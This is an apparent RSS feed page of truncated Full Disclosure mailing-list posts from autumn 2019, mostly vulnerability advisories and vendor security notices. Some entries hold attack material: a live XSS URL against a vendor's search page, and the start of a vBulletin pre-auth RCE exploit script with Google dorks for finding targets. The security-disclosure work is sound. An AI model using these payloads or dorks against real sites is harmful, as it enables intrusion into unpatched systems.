< Back to JetLib.com

jetlib.sec » Full Disclosure

Feeds

268060 items (17 unread) in 27 feeds

« Expand/Collapse

Full Disclosure

Skip to page: 1 2 3 ... 96

October 15, 2019
22:59
reinersct: receiving annual awards for trivial insecurity
» ‎ Full Disclosure

Posted by Thegirl Wholearnedtocode on Oct 15
https://www.reiner-sct.com/lang/en/search.html?m=all&q="><marquee>&dosubmit=submit

I have to unfortunately use their products via another "security" vendor.
If anyone knows them, feel free to reach out and help them.

Tags:
22:58
Tomedo Server - Weak encryption mech.
» ‎ Full Disclosure

Posted by ProSec Security Team on Oct 15
Hello together,

we’ve found the following vulnerability below.

Affected software: Tomedo Server 1.7.3
Vulnerability type: Cleartext Transmission of Sensitive Information & Weak Cryptography for Passwords
Vulnerable version: Tomedo Server 1.7.3
Vulnerable component: Customer Tomedo Server that communicates with Vendor Tomedo Update Server
Vendor report confidence: Confirmed
Fixed version: Version later then 1.7.3
Vendor notification:...

Tags:
22:57
APPLE-SA-2019-10-11-1 Swift 5.1.1 for Ubuntu
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Oct 15
APPLE-SA-2019-10-11-1 Swift 5.1.1 for Ubuntu

Swift 5.1.1 for Ubuntu is now available and addresses the following:

Foundation
Available for: Ubuntu 14.04, 16.04 and 18.04
Impact: Incorrect management of file descriptors in URLSession could
lead to inadvertent data disclosure
Description: This issue was addresses by updating incorrect
URLSession file descriptors management logic to match Swift 5.0.
CVE-2019-8790: Apple

Installation note:

Swift...

Tags:
22:57
Reflected XSS via Broken Link Checker v.1.11.8 WordPress Plugin
» ‎ Full Disclosure

Posted by Ismail Doe on Oct 15
Document Title
===============
Reflected XSS via `Broken Link Checker` v.1.11.8 WordPress plugin.

Product Description
===============
Broken Link Checker will monitor your blog looking for broken links and let
you know if any are found.

Homepage: https://managewp.com/
WordPress Plugin: https://wordpress.org/plugins/broken-link-checker/

PoC
===============

1) Login to your wordpress webpage
2) Navigate to the following page (Make sure the...

Tags:
22:56
[CFP] BSides San Francisco – February 2020
» ‎ Full Disclosure

Posted by BSidesSF CFP via Fulldisclosure on Oct 15
BSidesSF is soliciting presentations and workshops for the 2020 annual
BSidesSF conference.

CFP: https://bsidessf.org/cfp.html

** Topics **

All topic areas related to reliability, network security, privacy,
cryptography, and information security are of interest and in scope.

Let us help you get the word out on The Next Big Thing!

** Theme **

San Francisco, to celebrate BSidesSF's 10th anniversary

** Submission **...

Tags:
October 14, 2019
7:48
SEC Consult SA-20191014-0 :: Reflected XSS vulnerability in OpenProject
» ‎ Full Disclosure

Posted by SEC Consult Vulnerability Lab on Oct 14
SEC Consult Vulnerability Lab Security Advisory < 20191014-0 >
=======================================================================
title: Reflected XSS vulnerability
product: OpenProject
vulnerable version: <= 9.0.3, <=10.0.1
fixed version: 9.0.4, 10.0.2
CVE number: CVE-2019-17092
impact: medium
homepage: https://www.openproject.org
found: 2019-09-27...

Tags:
October 11, 2019
11:02
[SYSS-2019-035]: Microsoft Surface Mouse - Insufficient Protection of Code (Firmware) and Data (Cryptographic Key)
» ‎ Full Disclosure

Posted by Matthias Deeg on Oct 11
Advisory ID: SYSS-2019-035
Product: Surface Mouse
Manufacturer: Microsoft
Affected Version(s): WS3-00002
Tested Version(s): WS3-00002
Vulnerability Type: Insufficient Protection of Code (Firmware) and
Data (Cryptographic Key)
Risk Level: Medium
Solution Status: Open
Manufacturer Notification: 2019-07-31
Solution Date: -
Public Disclosure: 2019-10-10
CVE Reference: Not assigned yet
Author of Advisory: Matthias Deeg (SySS GmbH)...

Tags:
11:02
[SYSS-2019-034]: Microsoft Surface Keyboard - Insufficient Protection of Code (Firmware) and Data (Cryptographic Key)
» ‎ Full Disclosure

Posted by Matthias Deeg on Oct 11
Advisory ID: SYSS-2019-034
Product: Surface Keyboard
Manufacturer: Microsoft
Affected Version(s): WS2-00005
Tested Version(s): WS2-00005
Vulnerability Type: Insufficient Protection of Code (Firmware) and
Data (Cryptographic Key)
Risk Level: Medium
Solution Status: Open
Manufacturer Notification: 2019-07-31
Solution Date: -
Public Disclosure: 2019-10-10
CVE Reference: Not assigned yet
Author of Advisory: Matthias Deeg (SySS...

Tags:
11:02
[SYSS-2019-033]: Microsoft Designer Bluetooth Desktop - Insufficient Protection of Code (Firmware) and Data (Cryptographic Key)
» ‎ Full Disclosure

Posted by Matthias Deeg on Oct 11
Advisory ID: SYSS-2019-033
Product: Designer Bluetooth Desktop
Manufacturer: Microsoft
Affected Version(s): n/a
Tested Version(s): n/a
Vulnerability Type: Insufficient Protection of Code (Firmware) and
Data (Cryptographic Key)
Risk Level: Medium
Solution Status: Open
Manufacturer Notification: 2019-07-31
Solution Date: -
Public Disclosure: 2019-10-10
CVE Reference: Not assigned yet
Author of Advisory: Matthias Deeg (SySS GmbH)...

Tags:
11:01
Open-Xchange Security Advisory 2019-10-09
» ‎ Full Disclosure

Posted by Martin Heiland via Fulldisclosure on Oct 11
Dear subscribers,

we're sharing our latest advisory with you and like to thank everyone who contributed in finding and solving those
vulnerabilities. Feel free to join our bug bounty programs (appsuite, dovecot, powerdns) at HackerOne.

Yours sincerely,
Martin Heiland, Open-Xchange GmbH

Product: OX App Suite
Vendor: OX Software GmbH

Internal reference: 66094 (Bug ID)
Vulnerability type: Server-Side Request Forgery (CWE-918)
Vulnerable...

Tags:
11:01
Multiple Cross-site Scripting Vulnerabilities in Openfire 4.4.1
» ‎ Full Disclosure

Posted by Daniel Bishtawi on Oct 11
Hello,

We are informing you about the vulnerabilities in Openfire 4.4.1.

Here are the details:

Information
--------------------

Advisory by Netsparker
Name: Multiple Cross-site Scripting Vulnerabilities in Openfire 4.4.1
Affected Software: Openfire
Affected Versions: 4.4.1
Vendor Homepage: https://www.igniterealtime.org/
Vulnerability Type: Cross-site Scripting
Severity: Medium
Status: Fixed
CVSS Score (3.0):...

Tags:
October 10, 2019
11:40
[KIS-2019-09] SugarCRM
» ‎ Full Disclosure

Posted by Egidio Romano on Oct 10
---------------------------------------------------------------
SugarCRM <= 9.0.1 Multiple Phar Deserialization Vulnerabilities
---------------------------------------------------------------

[-] Software Link:

https://www.sugarcrm.com

[-] Affected Versions:

Version 9.0.1 and prior versions, 8.0.3 and prior versions.

[-] Vulnerabilities Description:

1) User input passed through the "backup_dir" parameter when handling
the...

Tags:
11:40
[KIS-2019-08] SugarCRM
» ‎ Full Disclosure

Posted by Egidio Romano on Oct 10
---------------------------------------------------------------
SugarCRM <= 9.0.1 Multiple PHP Object Injection Vulnerabilities
---------------------------------------------------------------

[-] Software Link:

https://www.sugarcrm.com

[-] Affected Versions:

Version 9.0.1 and prior versions, 8.0.3 and prior versions.

[-] Vulnerabilities Description:

1) The vulnerability exists because the "/modules/Emails/DetailView.php"...

Tags:
11:39
[KIS-2019-07] SugarCRM
» ‎ Full Disclosure

Posted by Egidio Romano on Oct 10
-------------------------------------------------------------
SugarCRM <= 9.0.1 Multiple PHP Code Injection Vulnerabilities
-------------------------------------------------------------

[-] Software Link:

https://www.sugarcrm.com

[-] Affected Versions:

Version 9.0.1 and prior versions, 8.0.3 and prior versions.

[-] Vulnerabilities Description:

1) When handling the "Locale" action within the "Administration" module...

Tags:
11:38
[KIS-2019-06] SugarCRM
» ‎ Full Disclosure

Posted by Egidio Romano on Oct 10
---------------------------------------------------------
SugarCRM <= 9.0.1 Multiple Path Traversal Vulnerabilities
---------------------------------------------------------

[-] Software Link:

https://www.sugarcrm.com

[-] Affected Versions:

Version 9.0.1 and prior versions, 8.0.3 and prior versions.

[-] Vulnerabilities Description:

1) User input passed to the "/Mail/attachment" REST API endpoint is not
properly
sanitized...

Tags:
11:37
[KIS-2019-05] SugarCRM
» ‎ Full Disclosure

Posted by Egidio Romano on Oct 10
----------------------------------------------------------------
SugarCRM <= 9.0.1 Multiple Broken Access Control Vulnerabilities
----------------------------------------------------------------

[-] Software Link:

https://www.sugarcrm.com

[-] Affected Versions:

Version 9.0.1 and prior versions, 8.0.3 and prior versions.

[-] Vulnerabilities Description:

1) There is a Broken Access Control vulnerability with regards to the...

Tags:
11:37
[KIS-2019-04] SugarCRM
» ‎ Full Disclosure

Posted by Egidio Romano on Oct 10
--------------------------------------------------------
SugarCRM <= 9.0.1 Multiple SQL Injection Vulnerabilities
--------------------------------------------------------

[-] Software Link:

https://www.sugarcrm.com

[-] Affected Versions:

Version 9.0.1 and prior versions, 8.0.3 and prior versions.

[-] Vulnerabilities Description:

1) User input passed to the "/pmse_Inbox/changeCaseUser" REST API
endpoint
is not properly...

Tags:
11:36
[KIS-2019-03] SugarCRM
» ‎ Full Disclosure

Posted by Egidio Romano on Oct 10
-------------------------------------------------------------------------
SugarCRM <= 9.0.1 Multiple Reflected Cross-Site Scripting
Vulnerabilities
-------------------------------------------------------------------------

[-] Software Link:

https://www.sugarcrm.com

[-] Affected Versions:

Version 9.0.1 and prior versions, 8.0.3 and prior versions.

[-] Vulnerabilities Description:

1) User input passed through the "form"...

Tags:
October 08, 2019
10:02
RENPHO iOS missing encryption and integrity check
» ‎ Full Disclosure

Posted by ProSec Security Team on Oct 08
Hello together,

we’ve found the following vulnerability below.

Affected software: RENPHO V3.0.0 (iOS App)
Vulnerability type: Missing Encryption and Integrity Check of Sensitive Data
Vulnerable version: Renpho Mobile Application V3.0.0 for iOS
Vulnerable component: Client app, transmitting data to server backend
Vendor report confidence: Unconfirmed
Fixed version: -
Vendor notification: 13/08/19
Solution date:
CVE reference: CVE-2019-14808...

Tags:
10:02
APPLE-SA-2019-10-07-4 iCloud for Windows 7.14
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Oct 08
APPLE-SA-2019-10-07-4 iCloud for Windows 7.14

iCloud for Windows 7.14 is now available and addresses the following:

UIFoundation
Available for: Windows 7 and later
Impact: Processing a maliciously crafted text file may lead to
arbitrary code execution
Description: A buffer overflow was addressed with improved bounds
checking.
CVE-2019-8745: riusksk of VulWar Corp working with Trend Micro's
Zero Day Initiative

WebKit
Available for: Windows...

Tags:
10:02
APPLE-SA-2019-10-07-1 macOS Catalina 10.15
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Oct 08
APPLE-SA-2019-10-07-1 macOS Catalina 10.15

macOS Catalina 10.15 is now available and addresses the following:

AMD
Available for: MacBook (Early 2015 and later), MacBook Air (Mid 2012
and later), MacBook Pro (Mid 2012 and later), Mac mini (Late 2012 and
later), iMac (Late 2012 and later), iMac Pro (all models), Mac Pro
(Late 2013 and later)
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory...

Tags:
10:01
APPLE-SA-2019-10-07-3 iCloud for Windows 10.7
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Oct 08
APPLE-SA-2019-10-07-3 iCloud for Windows 10.7

iCloud for Windows 10.7 is now available and addresses the following:

UIFoundation
Available for: Windows 10 and later via the Microsoft Store
Impact: Processing a maliciously crafted text file may lead to
arbitrary code execution
Description: A buffer overflow was addressed with improved bounds
checking.
CVE-2019-8745: riusksk of VulWar Corp working with Trend Micro's Zero
Day Initiative...

Tags:
10:01
APPLE-SA-2019-10-07-2 iTunes for Windows 12.10.1
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Oct 08
APPLE-SA-2019-10-07-2 iTunes for Windows 12.10.1

iTunes for Windows 12.10.1 is now available and addresses the
following:

UIFoundation
Available for: Windows 7 and later
Impact: Processing a maliciously crafted text file may lead to
arbitrary code execution
Description: A buffer overflow was addressed with improved bounds
checking.
CVE-2019-8745: riusksk of VulWar Corp working with Trend Micro's Zero
Day Initiative

WebKit
Available for:...

Tags:
10:01
CVE-2019-17128: OmniCenter 12.1.1 – Unauthenticated SQL Injection
» ‎ Full Disclosure

Posted by Luis Rios on Oct 08
# Exploit Title: OmniCenter 12.1.1 – Unauthenticated SQL Injection
# Exploit Author: Luis Rios 0x6c72696f73 [at] illumant.com
# Website: https://illumant.com
# Date: 2019-09-17
# Vendor: Netreo Inc (https://www.netreo.com/)
# Software Link: https://www.netreo.com/solutions/server-management/
# Affected Version: <= 12.1.1 & <= 12.0.7
# Patched Version: 12.1.2 & 12.0.8
# Category: Web Application
# Platform: Linux
# Tested on: Linux...

Tags:
10:00
Password disclosure in the web interface on socomec DIRIS A-40 devices before 48250501
» ‎ Full Disclosure

Posted by TIMMERMAN, Jens on Oct 08
[description]
Password disclosure in the web interface on socomec DIRIS A-40 devices before 48250501 allows a remote attacker to get
full access to a device via the
/password.jsn URI.

------------------------------------------

[Vulnerability Type]
Incorrect Access Control

------------------------------------------

[Vendor of Product]
Socomec (https://www.socomec.com)

------------------------------------------

[Affected Product Code Base]...

Tags:
October 07, 2019
12:47
[KIS-2019-02] vBulletin
» ‎ Full Disclosure

Posted by Egidio Romano on Oct 07
---------------------------------------------------------------------
vBulletin <= 5.5.4 (updateAvatar) Remote Code Execution Vulnerability
---------------------------------------------------------------------

[-] Software Link:

https://www.vbulletin.com/

[-] Affected Versions:

Version 5.5.4 and prior versions.

[-] Vulnerability Description:

User input passed through the "data[extension]" and "data[filedata]"...

Tags:
12:45
vBulletin
» ‎ Full Disclosure

Posted by Egidio Romano on Oct 07
----------------------------------------------------
vBulletin <= 5.5.4 Two SQL Injection Vulnerabilities
----------------------------------------------------

[-] Software Link:

https://www.vbulletin.com/

[-] Affected Versions:

Version 5.5.4 and prior versions.

[-] Vulnerabilities Description:

1) User input passed through keys of the "where" parameter to
the "ajax/api/hook/getHookList" endpoint is not properly...

Tags:
October 03, 2019
20:36
[AIT-SA-20190930-01] CVE-2019-15741: Privilege Escalation via Logrotate in Gitlab Omnibus
» ‎ Full Disclosure

Posted by Wolfgang on Oct 03
# Privilege Escalation via Logrotate in Gitlab Omnibus

## Overview
Identifier: AIT-SA-20190930-01
Target: GitLab Omnibus
Vendor: GitLab
Version: 7.4 through 12.2.1
Fixed in Version: 12.2.3, 12.1.8 and 12.0.8
CVE: CVE-2019-15741
Accessibility: Local
Severity: Low
Author: Wolfgang Hotwagner (AIT Austrian Institute of Technology)

## Summary
Omnibus GitLab is a way to package different services and tools required to run GitLab, so that most users...

Tags:
20:35
CA20190930-01: Security Notice for CA Network Flow Analysis
» ‎ Full Disclosure

Posted by Kevin Kotas via Fulldisclosure on Oct 03
CA20190930-01: Security Notice for CA Network Flow Analysis

Issued: September 30th, 2019

CA Technologies, a Broadcom Company, is alerting customers to a
potential risk with CA Network Flow Analysis. A vulnerability exists
that can allow a remote attacker to execute arbitrary commands. CA
published a solution to address the vulnerabilities and recommends
that all affected customers implement this solution.

The vulnerability, CVE-2019-13658,...

Tags:
20:35
Bsides Lisbon 2019 Trainings
» ‎ Full Disclosure

Posted by Claudio Andre on Oct 03
This year we'll have trainings in the days leading up to the Conference!

** Advanced Web Hacking (3 Days) With NotSoSecure **

- EARLY BIRD PRICE (BEFORE 7 OCT):€1499+VAT

- REGULAR PRICE: €1799+VAT

** A Practical Approach To Malware Analysis And Memory Forensics (3 Days)
by Monnappa **

- EARLY BIRD PRICE (BEFORE 7 OCT):€1499+VAT

- REGULAR PRICE: €1799+VAT

Please note that trainings are a separate event from the main conference,...

Tags:
October 01, 2019
10:40
APPLE-SA-2019-9-27-1 iOS 13.1.1 and iPadOS 13.1.1
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Oct 01
APPLE-SA-2019-9-27-1 iOS 13.1.1 and iPadOS 13.1.1

iOS 13.1.1 and iPadOS 13.1.1 are now available and address the
following:

Sandbox
Available for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4
and later, and iPod touch 7th generation
Impact: Third party app extensions may not receive the correct
sandbox restrictions
Description: A logic issue applied the incorrect restrictions. This
issue was addressed by updating the logic to apply...

Tags:
10:39
PDFex: Security weakness in PDF encryption
» ‎ Full Disclosure

Posted by Jens Müller via Fulldisclosure on Oct 01
In the scope of academic research at Ruhr University Bochum and Münster
and University of Applied Sciences, Germany, two severe flaws in the PDF
encryption standard have been discovered, which both lead to full
plaintext exfiltration in an active-attacker scenario.

* Website, including proof-of-concept exploits: pdf-insecurity.org
* Paper: pdf-insecurity.org/download/paper-pdf_encryption-ccs2019.pdf

*How to break PDF Encryption*...

Tags:
10:34
Duplicator Pro
» ‎ Full Disclosure

Posted by Fulldisclosure Team on Oct 01
Product: Duplicator Pro
Vendor: SnapCreek
Website: https://snapcreek.com/
Discovered by: Evolution Hosting
Version vulnerable: <= 1.3.14
Fixed in: 1.3.15+

Vulnerability Type: Information Disclosure, local exposure of entire
webinstallation content

remotely triggerable: not for itself. Needs wp admin interaction.

O== Advise

Update to 1.3.15+ version

We did not test for a possible CSRF combination (i.e. with other plugins
) to lever it...

Tags:
10:31
Metasploit Pro Includes a 4 year old Java Runtime with 223 vulnerabilities 53 being critical
» ‎ Full Disclosure

Posted by Anthony Cicalla on Oct 01
A ticket was created with Rapid7 more than two months ago now regarding the 4 year old java library that is being
included with Metasploit Pro. The library is responsible for 53 critical vulnerabilities in our scans. After 3 months
the library has not been updated.

Status<https://10.213.213.1:3780/vulnerability/yui-dt1-href-status>

Protocol<https://10.213.213.1:3780/vulnerability/yui-dt1-href-protocol>

Port<...

Tags:
10:30
Fortinet FortiSIEM - Improper Certificate Validation
» ‎ Full Disclosure

Posted by Andrew Klaus on Oct 01
Product Name: FortiSIEM
Tested versions: 5.0, 5.2.1
Fixed in version: Only a manual workaround is available from Fortinet as of
this writing
Weakness Type: CWE-295 - Improper Certificate Validation
Discovered by: Andrew Klaus (Cybera Canada)
CVE: Pending

== Disclosure Timeline:
June 25, 2019: Initial Disclosure to Fortinet PSIRT (Received automated
ticket response)
July 15, 2019: Received response that the issue was forwarded to R&D Team...

Tags:
September 27, 2019
10:04
APPLE-SA-2019-9-26-9 Safari 13.0.1
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Sep 27
APPLE-SA-2019-9-26-9 Safari 13.0.1

Safari 13.0.1 addresses the following:

Safari
Available for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6
Impact: Visiting a malicious website may lead to user interface
spoofing
Description: An inconsistent user interface issue was addressed with
improved state management.
CVE-2019-8654: Juno Im (@junorouse) of Theori

Service Workers
Available for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6
Impact:...

Tags:
10:04
APPLE-SA-2019-9-26-8 iOS 13.1 and iPadOS 13.1
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Sep 27
APPLE-SA-2019-9-26-8 iOS 13.1 and iPadOS 13.1

iOS 13.1 and iPadOS 13.1 address the following:

VoiceOver
Available for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4
and later, and iPod touch 7th generation
Impact: A person with physical access to an iOS device may be able to
access contacts from the lock screen
Description: The issue was addressed by restricting options offered
on a locked device.
CVE-2019-8775: videosdebarraquito...

Tags:
10:04
APPLE-SA-2019-9-26-7 Xcode 11.0
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Sep 27
APPLE-SA-2019-9-26-7 Xcode 11.0

Xcode 11.0 addresses the following:

IDE SCM
Available for: macOS Mojave 10.14.4 and later
Impact: Multiple issues in libssh2
Description: Multiple issues were addressed by updating to version
2.16.
CVE-2019-3855: Chris Coulson

ld64
Available for: macOS Mojave 10.14.4 and later
Impact: Compiling code without proper input validation could lead to
arbitrary code execution with user privilege
Description: Multiple...

Tags:
10:04
APPLE-SA-2019-9-26-6 tvOS 13
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Sep 27
APPLE-SA-2019-9-26-6 tvOS 13

tvOS 13 addresses the following:

Keyboards
Available for: Apple TV 4K and Apple TV HD
Impact: A local user may be able to leak sensitive user information
Description: An authentication issue was addressed with improved
state management.
CVE-2019-8704: 王邦宇 (wAnyBug.Com) of SAINTSEC

Additional recognition

Keyboard
We would like to acknowledge an anonymous researcher for their
assistance.

Profiles
We would...

Tags:
10:04
APPLE-SA-2019-9-26-5 watchOS 6
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Sep 27
APPLE-SA-2019-9-26-5 watchOS 6

watchOS 6 addresses the following:

Foundation
Available for: Apple Watch Series 3 and later
Impact: A remote attacker may be able to cause unexpected application
termination or arbitrary code execution
Description: An out-of-bounds read was addressed with improved input
validation.
CVE-2019-8641: Samuel Groß and Natalie Silvanovich of Google Project
Zero

Installation note:

Instructions on how to update your...

Tags:
10:04
APPLE-SA-2019-9-26-3 iOS 13
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Sep 27
APPLE-SA-2019-9-26-3 iOS 13

iOS 13 addresses the following:

Bluetooth
Available for: iPhone 6s and later
Impact: Notification previews may show on Bluetooth accessories even
when previews are disabled
Description: A logic issue existed with the display of notification
previews. This issue was addressed with improved validation.
CVE-2019-8711: Arjang of MARK ANTHONY GROUP INC., Cemil Ozkebapci
(@cemilozkebapci) of Garanti BBVA, Oguzhan Meral of...

Tags:
10:04
APPLE-SA-2019-9-26-4 Safari 13
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Sep 27
APPLE-SA-2019-9-26-4 Safari 13

Safari 13 addresses the following:

WebKit Page Loading
Available for: macOS Mojave 10.14.6 and macOS High Sierra 10.13.6
Impact: Processing maliciously crafted web content may lead to
universal cross site scripting
Description: A logic issue was addressed with improved state
management.
CVE-2019-8674

Installation note:

Safari 13 may be obtained from the Mac App Store.

Information will also be posted to the...

Tags:
10:04
APPLE-SA-2019-9-26-2 macOS Mojave 10.14.6 Supplemental Update 2, Security Update 2019-005 High Sierra, Security Update 2019-005 Sierra
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Sep 27
APPLE-SA-2019-9-26-2 macOS Mojave 10.14.6 Supplemental Update 2,
Security Update 2019-005 High Sierra, Security Update 2019-005
Sierra

macOS Mojave 10.14.6 Supplemental Update 2, Security Update 2019-005
High Sierra, Security Update 2019-005 Sierra are now available
and address the following:

Foundation
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS
Mojave 10.14.6
Impact: A remote attacker may be able to cause unexpected...

Tags:
10:04
APPLE-SA-2019-9-26-1 iOS 12.4.2
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Sep 27
APPLE-SA-2019-9-26-1 iOS 12.4.2

iOS 12.4.2 is now available and addresses the following:

Foundation
Available for: iPhone 5s, iPhone 6, iPhone 6 Plus, iPad Air,
iPad mini 2, iPad mini 3, and iPad touch 6th generation
Impact: A remote attacker may be able to cause unexpected application
termination or arbitrary code execution
Description: An out-of-bounds read was addressed with improved input
validation.
CVE-2019-8641: Samuel Groß and Natalie...

Tags:
10:04
DOM based XSS (Login page) in "GFI Kerio Control" Firewalls v9.3.0 / CVE-2019-16414 - working exploit attached
» ‎ Full Disclosure

Posted by Michael Eissele on Sep 27
Hello there,

a DOM based XSS in GFI Kerio Control v9.3.0 allows embedding of malicious code and
manipulating the login page to send victim's cleartext credentials back to the attacker.

A full PoC with working exploit is attached within this email.

CVE: CVE-2019-16414
Vendor: GFI
Product: Kerio Control (tested in v9.3.0)
Vendor confirmed vulnerability: True
Discoverer: Michael Eissele
Exploit available: yes
Calculated CVSSv3:...

Tags:
September 25, 2019
23:52
SEC Consult SA-20190926-0 :: Multiple SQL Injection vulnerabilities in eBrigade
» ‎ Full Disclosure

Posted by SEC Consult Vulnerability Lab on Sep 25
SEC Consult Vulnerability Lab Security Advisory < 20190926-0 >
=======================================================================
title: Multiple SQL Injection vulnerabilities
product: eBrigade
vulnerable version: <5.0
fixed version: >=5.0
CVE number: CVE-2019-16743, CVE-2019-16744, CVE-2019-16745
impact: critical
homepage: https://ebrigade.net
found:...

Tags:
9:08
[CVE-2019-14783] Arbitrary file create with system-app privilege in Samsung Mobile Android FotaAgent Component
» ‎ Full Disclosure

Posted by flanker on Sep 25
[CVE-2019-14783] Arbitrary file create with system-app privilege in Samsung Mobile Android FotaAgent Component

Software:
--------
Samsung Mobile Android FotaAgent Component

Description:
----------
A vulnerability in FotaAgent allows creating privileged files without proper permission from unprivileged process. The
patch adds proper permission check on FotaAgent to address the vulnerability. This issue is reported to & confirmed and...

Tags:
9:07
[CVE-2019-16253] Privilege Escalation in Samsung Mobile Android SamsungTTS Component
» ‎ Full Disclosure

Posted by flanker on Sep 25
[CVE-2019-16253] Privilege Escalation in Samsung Mobile Android SamsungTTS Component

Software:
--------
Samsung Text-to-speech Engine System Component on Android

Description:
----------
The Text-to-speech Engine (aka SamsungTTS) before 3.0.02.7/3.0.00.101 for Android allows a local attacker to escalate
privilege, e.g., to system privilege. This issue is reported to & confirmed and patched by Samsung Mobile Security
Rewards Program under...

Tags:
September 24, 2019
9:43
vBulletin 5.x 0day pre-auth RCE exploit
» ‎ Full Disclosure

Posted by i0su9z+32fpome4pivgiwtzjw--- via Fulldisclosure on Sep 24
#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
#
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"

import requests
import sys

if len(sys.argv) != 2:
sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:
try:
cmd...

Tags:
9:41
XSSer v.1.8[1] - "The Hive!" released
» ‎ Full Disclosure

Posted by psy on Sep 24
Hi FD,

I am glad to present a new release of this tool:

- https://xsser.03c8.net

---------

"Cross Site "Scripter" (aka XSSer) is an automatic -framework- to
detect, exploit and report XSS vulnerabilities in web-based
applications. It provides several options to try to bypass certain
filters and various special techniques for code injection."

---------

XSSer has pre-installed [ > 1300 XSS ] attacking vectors and can...

Tags:
September 23, 2019
5:50
Bug Bounty Competition 2019
» ‎ Full Disclosure

Posted by Vulnerability Lab on Sep 23
Hello whitehats and bugbounty hunters,
today we would like to invite especially you for the Hack in the Box
Driven2PWN Bug Bounty Competition in Abu Dhabi (UAE) during the 12-17th
October 2019. Please feel free to register through the official service
page and get a fly to the bug bounty competition
(https://d2p.cyberweek.ae/).

Register as individual researcher or ethical whitehat hacker team.

Competition: https://d2p.cyberweek.ae/
Target...

Tags:
September 20, 2019
11:08
Reflected XSS – HRworks Login (v1.16.1)
» ‎ Full Disclosure

Posted by Georg Ph E Heise via Fulldisclosure on Sep 20
# Exploit Title: Reflected XSS – HRworks Login (v1.16.1)

# Vendor Homepage: https://www.hrworks.de

# Exploit Author: Georg Philipp Erasmus Heise / Lufthansa Industry Solutions

# Contact: https://twitter.com/gpheheise

# Website: https://www.lufthansa-industry-solutions.com

# Category: webapps

# CVE: CVE-2019-11559

Timeline

26.04.2019 Disclosure to Vendor

29.04.2019 Vendor informed that the issue was remediated

17.09.2019 Publication...

Tags:
September 18, 2019
4:06
SEC Consult SA-20190918-0 :: Reflected Cross-Site Scripting (XSS) in Oracle Mojarra JSF
» ‎ Full Disclosure

Posted by SEC Consult Vulnerability Lab on Sep 18
SEC Consult Vulnerability Lab Security Advisory < 20190918-0 >
=======================================================================
title: Reflected Cross-Site Scripting (XSS)
product: Oracle Mojarra JSF included in Java EE 7
Eclipse Mojarra JSF
vulnerable version: 2.2 & 2.3
fixed version: https://github.com/javaserverfaces/mojarra/commits/MOJARRA_2_2X_ROLLING...

Tags:
September 13, 2019
0:55
Insecure tmpdir() use in dbtoepub.rb in docbook / xslt10-stylesheets
» ‎ Full Disclosure

Posted by Shlomi Fish on Sep 13
See:

https://github.com/docbook/xslt10-stylesheets/pull/144

«
See https://ruby-doc.org/stdlib-2.0.0/libdoc/tmpdir/rdoc/Dir.html -
tmpdir returns the same value everytime and as a result the tmpdirs can
be identical or existing.

SECURITY!

Thanks to phaul from #ruby .
»

There is a patch that seems to work well in the mageia linux package, but
no PoC exploit.

Tags:
0:54
Piwigo - Version 2.9.5 [CVE-2019-13363, CVE-2019-13364 ]
» ‎ Full Disclosure

Posted by rant on Sep 13
=====[ Tempest Security Intelligence - ADV-03/2019
]==========================

Piwigo - Version 2.9.5

Author: Rodolfo Tavares

Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of Contents]==================================================
* Overview
* Detailed description
* Timeline of disclosure
* Thanks & Acknowledgments
* References

=====[ Vulnerability...

Tags:
0:50
FTPShell client 6.74 - Local Buffer Overflow (SEH)
» ‎ Full Disclosure

Posted by Debashis Pal on Sep 13
#!/usr/bin/python

# Exploit Type : DOS
# Exploit Title: FTPShell client 6.74 - Local Buffer Overflow (SEH)
# Vulnerable Software & version : FTPShell client 6.74
# Vendor Homepage: https://www.ftpshell.com/
# Software Link: https://www.ftpshell.com/downloadclient.htm
# Tested Windows : Windows Vista Ultimate SP2(32-bit), Windows 7
Professional SP1(32-bit)
# Exploit Author: Debashis Pal
# Timeline
# Vulnerability Discover Date:...

Tags:
0:50
phpMyAdmin 4.9.0.1 - Cross-Site Request Forgery
» ‎ Full Disclosure

Posted by Manuel Garcia Cardenas on Sep 13
=============================================
MGC ALERT 2019-003
- Original release date: June 13, 2019
- Last revised: September 13, 2019
- Discovered by: Manuel Garcia Cardenas
- Severity: 4,3/10 (CVSS Base Score)
- CVE-ID: CVE-2019-12922
=============================================

I. VULNERABILITY
-------------------------
phpMyAdmin 4.9.0.1 - Cross-Site Request Forgery

II. BACKGROUND
-------------------------
phpMyAdmin is a free...

Tags:
September 12, 2019
12:37
SEC Consult SA-20190912-0 :: Stored and reflected XSS vulnerabilities in LimeSurvey
» ‎ Full Disclosure

Posted by SEC Consult Vulnerability Lab on Sep 12
SEC Consult Vulnerability Lab Security Advisory < 20190912-0 >
=======================================================================
title: Stored and reflected XSS vulnerabilities
product: LimeSurvey
vulnerable version: <= 3.17.13
fixed version: =>3.17.14
CVE number: CVE-2019-16172, CVE-2019-16173
impact: medium
homepage: https://www.limesurvey.org/...

Tags:
September 10, 2019
10:48
